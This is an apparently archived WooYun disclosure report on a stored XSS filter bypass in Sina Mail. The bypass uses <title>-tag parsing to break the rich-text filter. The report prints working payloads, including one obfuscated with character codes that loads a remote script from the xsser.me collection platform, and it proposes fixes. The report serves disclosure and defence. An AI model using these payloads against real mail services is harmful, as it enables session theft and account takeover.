当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019578

漏洞标题:新浪邮箱邮件正文XSS - 富文本过滤策略绕过

相关厂商:新浪

漏洞作者: gainover

提交时间:2013-03-05 18:05

修复时间:2013-04-19 18:06

公开时间:2013-04-19 18:06

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-05: 细节已通知厂商并且等待厂商处理中
2013-03-05: 厂商已经确认,细节仅向厂商公开
2013-03-15: 细节向核心白帽子及相关领域专家公开
2013-03-25: 细节向普通白帽子公开
2013-04-04: 细节向实习白帽子公开
2013-04-19: 细节向公众公开

简要描述:

其实一直捏着一个新浪邮箱的XSS。。。
然后,今天下午本来想发出来。。。
可是。。可是。。。 再测试时候,竟然被修复了,吐血三升。
于是只好现找现卖了,现找现卖啊!亲!
经过研究,发现富文本过滤器的一处缺陷,可以成功绕过执行XSS,通杀所有浏览器。

详细说明:

1. 首先做一些基本的测试。
<img onerror=""> --> 过滤
<img ononerrorerror=""> --> 不过滤
<img onerror> --> 也不过滤
说明不是简单的依据关键词来过滤的。
2. 那么下面这样应该也不会过滤。
<img a="onerror=alert(1)//">

6.jpg


3. 接着我们尝试利用<title></title> 标签对的优先解析来试试。

<title><img a="</title><img/src=1 onerror=alert(1)//">


方便新手看懂,说下原理。
过滤器会解析为。

7.jpg


而浏览器则会先解析title

8.jpg


4. 可以看到,IE下,代码被成功执行啦!

12.jpg


5. 接着我们调用xsser.me的代码.

<title><img a="</title><img/src=1 onerror=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,53,78,83,55,97,99);document.body.appendChild(window.s)})()//>">


可以看到打开邮件后,被浏览器解析的代码。

10.jpg


xsser.me中可以看到代码被成功执行。

11.jpg

漏洞证明:

见详细说明。

修复方案:

这个,不清楚后台过滤代码是怎么样的。
1. <title> 这种标签,邮件里应该不常用,可以直接过滤掉?
2. 或者如果不直接过滤掉,优先将<title> .. </title> <textarea> ..</textarea>等这种具有优先解析的标签对先取出来,再对剩下的内容做替换? = = 这个得你们自己多考虑了。我这个是个笨方法。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-03-05 18:16

厂商回复:

多谢gainover,已经安排人员进行处理了。

最新状态:

暂无